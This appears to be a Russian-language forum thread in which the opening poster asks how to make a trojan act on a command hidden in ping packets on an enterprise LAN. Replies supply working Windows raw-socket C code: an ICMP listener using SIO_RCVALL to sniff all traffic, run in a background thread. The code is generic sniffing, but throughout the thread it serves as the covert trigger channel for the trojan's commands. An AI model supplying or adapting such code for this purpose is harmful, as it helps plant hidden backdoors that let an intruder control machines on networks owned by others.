Добрый день! Хочу чтобы по пингу с заданной командой в буфере пакета - троян выполнял свое действие. Локальная сеть предприятия 192.168.1.0/32. Подскажите пожалуйста как определить КТО меня пингует? Вот пытаюсь слушать ICMP пакеты, но откликается только не локальный ping. Если кто-то удаленно из сети шлет ping прожка молчит (( Файрволов нет - проверенно. Сам исходник переписал с linux - аналога взятого на opennet.ru. Под linux не пишу, но там говорят что работает. Код (Text): #include "stdio.h" #include "winsock2.h" #include "windows.h" #pragma comment(lib,"ws2_32.lib") int main(int argc, char* argv[]) { WSADATA wsd; if (WSAStartup (MAKEWORD (2,2), &wsd) != 0) { printf ("error WSAStartup() init\n"); return 0; } SOCKET sc; SOCKADDR_IN addr; char buf [1024]; int len; int iplen; int res; iplen = sizeof (addr); len = sizeof (buf); LPPROTOENT lpproto; int proto; addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); if ((lpproto = getprotobyname("icmp")) == NULL) proto = IPPROTO_ICMP; else proto = lpproto->p_proto; sc = socket(AF_INET, SOCK_RAW, proto); if (sc == INVALID_SOCKET) printf ("error socket() "); if (bind (sc,(LPSOCKADDR) &addr,sizeof (addr)) != 0) printf ("error bind()"); //for(;;) //{ res = recvfrom (sc,buf,len,0,(LPSOCKADDR) &addr,&iplen); if (res == SOCKET_ERROR) { printf ("error recvfrom() = %d \n",GetLastError ()); } else { printf ("length: %d\tip: %s\tbuffer: %s\n",iplen,(LPSTR) inet_ntoa (addr.sin_addr),buf); } //} return 0; } Подскажите почему не отрабатывает если пингую из локалки ?
А что значит молчит? Тут поток тормозит всмысле? Попробуй создать сокет который будет принимать все пакеты включая IP хидер и уже от него перейти к icmp
only >А что значит молчит? >Тут поток тормозит всмысле? да просто ожидает чего-то на строке : Код (Text): res = recvfrom (sc,buf,len,0,(LPSOCKADDR) &addr,&iplen); >Попробуй создать сокет который будет принимать все пакеты включая IP хидер и уже от него перейти к icmp да это придется обычный снифер ставить, фильтровать протокол icmp из ip заголовка Не пойму почему это не работает ?
сменить протокол тут на IPPROTO_IP проверить версию и протокол следующего уровня чтобы был IPPROTO_ICMP(вроде 1) ну и перейти к ICMP просто прибавив размер IP хидера вообще и фильтровать не нужно, просто посмотреть приходят ли IP а в дампе посмотреть что там icmp или нет
_sheva740 кстати да, как заметил ECk походу тебе еще это нужно добавить ну или что то подобное Код (Text): SocketIoctlMode = RCVALL_ON; Result = ioctlsocket(sc, SIO_RCVALL, &SocketIoctlMode); if(Result == SOCKET_ERROR) { Status = IOCTL_REQUEST_FAILED; return Status; }
only Первый мой вывод - Все пробы и исправления в конце концов все равно снифер дали Второй - не все что идет под *nix - ами "безропотно" переносится на win32.
only >Минут за 10 можно нагуглить как минимум 2 десятка снифферов для виндовс. да ты прав, но 3-4 только будут работать под XP, и может 1 - под Vista
- ставишь протокол как посоветовал only ( IPPROTO_ICMP ) - ставишь опцию что хочешь получать и хедеры тоже (чтоб из IP пакета вытянуть адреса), опцию не помню, это гуглится. - в MSDN четко сказано, для работы с сырыми сокетами надо делать bind на конкретный адаптер. - потом говоришь что хочешь получать все (SIO_RCVALL, см выше) - так ты будешь получать исходящий и входящий ICMP траффик. - просто recv в цикле. - смотришь и радуешся
_sheva740 ну вот так можно это точно работает под виндой вырезано кусками но смысл думаю ясен инициализация подсистемы Код (Text): _STATUS InitSubsystem() { _STATUS Status = _SUCCESS; WSADATA WsaData = {0}; DWORD Result = {0}; WSAStartup(0, &WsaData); Result = WSAStartup(WsaData.wHighVersion, &WsaData); if(Result) { Status = _WSASTARTUP_FAILED; return Status; } return Status; } инициализация сокета Код (Text): Status = InitSubsystem(); if(Status != _SUCCESS) return Status; ListnerDescr->Listner = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if(ListnerDescr->Listner == INVALID_SOCKET) { DeinitListener(ListnerDescr); Status = LISTEN_SOCKET_INIT_FAILED; return Status; } Result = gethostname(HostName, HOST_NAME_MAX_LEN/*256*/); if(Result == SOCKET_ERROR) { DeinitListener(ListnerDescr); Status = CANT_OBTAIN_LOCAL_HOST_NAME; return Status; } HostDescr = gethostbyname(HostName); Result = (DWORD)HostDescr; if(!Result) { DeinitListener(ListnerDescr); Status = CANT_OBTAIN_LOCAL_HOST_DESCRIPTOR; return Status; } SocketDescr.sin_family = AF_INET; SocketDescr.sin_addr.S_un.S_addr = ((IN_ADDR *)HostDescr->h_addr_list[0])->S_un.S_addr; for(i = 0; i < (u_short)(~0)+1; i++) { SocketDescr.sin_port = (u_short)i; Result = bind(ListnerDescr->Listner, (SOCKADDR *)&SocketDescr, sizeof(SOCKADDR)); if(Result == SOCKET_ERROR && WSAGetLastError() != WSAEINVAL) { DeinitListener(ListnerDescr); Status = RAWSOCKSNIFFER_HOST_DESCRIPTOR_BINDING_ERROR; return Status; } else if(Result != SOCKET_ERROR) break; } SocketIoctlMode = RCVALL_ON; Result = ioctlsocket(ListnerDescr->Listner, SIO_RCVALL, &SocketIoctlMode); if(Result == SOCKET_ERROR) { DeinitListener(ListnerDescr); Status = IOCTL_REQUEST_FAILED; return Status; } if(Result == SOCKET_ERROR) { DeinitListener(ListnerDescr); Status = ALL_PORTS_ARE_IN_USE; return Status; } ListnerDescr->Thread.Handle = CreateThread(0, 0, (PTHREAD_START_ROUTINE)ListenerThread, ListnerDescr, 0, &ListnerDescr->Thread.Id); if(!ListnerDescr->Thread.Handle) { DeinitListener(ListnerDescr); Status = CANT_CREATE_LISTENER_THREAD; return Status; } анализ Код (Text): _STATUS ListenerThread(_LISTENER_DESCR *ListnerDescr) { _STATUS Status = _SUCCESS; DWORD Result = {0}; DWORD BytesGot = {0}; ULONG MaxFrarmentSize = {0}; DWORD OptSize = {0}; PVOID RecvData = {0}; DWORD RecvDataOldProt = {0}; __try { BytesGot = 0; OptSize = sizeof(MaxFrarmentSize); Result = getsockopt(ListnerDescr->Listner, SOL_SOCKET, SO_MAX_MSG_SIZE, (PCHAR)&MaxFrarmentSize, &OptSize); if(Result == SOCKET_ERROR) { Status = _MAX_MSG_SIZE_UNKNOWN; DeinitListener(ListnerDescr); return Status; } ListnerDescr->Data.PVoid = (PBYTE)VirtualAlloc(0, MaxFrarmentSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); if(!ListnerDescr->Data.PByte) { Status = _MEMORY_ALLOCATION_ERROR; DeinitListener(ListnerDescr); return Status; } do { BytesGot = recv(ListnerDescr->Listner, (PCHAR)ListnerDescr->Data.PByte, MaxFrarmentSize, 0); Result = BytesGot; if(Result == SOCKET_ERROR) { Status = _RECEIVE_ERROR; DeinitListener(ListnerDescr); return Status; } if(BytesGot) { RecvData = VirtualAlloc(0, BytesGot, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if(!RecvData) { Status = _MEMORY_ALLOCATION_ERROR; DeinitListener(ListnerDescr); return Status; } memcpy(RecvData, ListnerDescr->Data.PVoid, BytesGot); Result = VirtualProtect(RecvData, BytesGot, PAGE_READONLY, &RecvDataOldProt); if(!Result) { VirtualFree(RecvData, 0, MEM_RELEASE); Status = _MEMORY_PROTECTION_CHANGE_ERROR; DeinitListener(ListnerDescr); return Status; } //тут можно RecvData передать какому-либу зарегистрированному у тебя колбеку VirtualFree(RecvData, 0, MEM_RELEASE); } }while(TRUE); } __except(EXCEPTION_EXECUTE_HANDLER) { if(ListnerDescr->Listner) { shutdown(ListnerDescr->Listner, SD_RECEIVE); closesocket(ListnerDescr->Listner); } Status = _UNHANDLED_EXCEPTION; DeinitListener(ListnerDescr); return Status; } DeinitListener(ListnerDescr); return Status; } Ation Ну эта опция только для IPPROTO_IP и работает только при передаче данных, указывает на то что отправитель будет сам создавать IP хидер, если уж хочется и IP хидер, то тогда нужно сокет связанный с IP(IPPROTO_IP) создавать, а не с вложенным в него ICMP(IPPROTO_ICMP)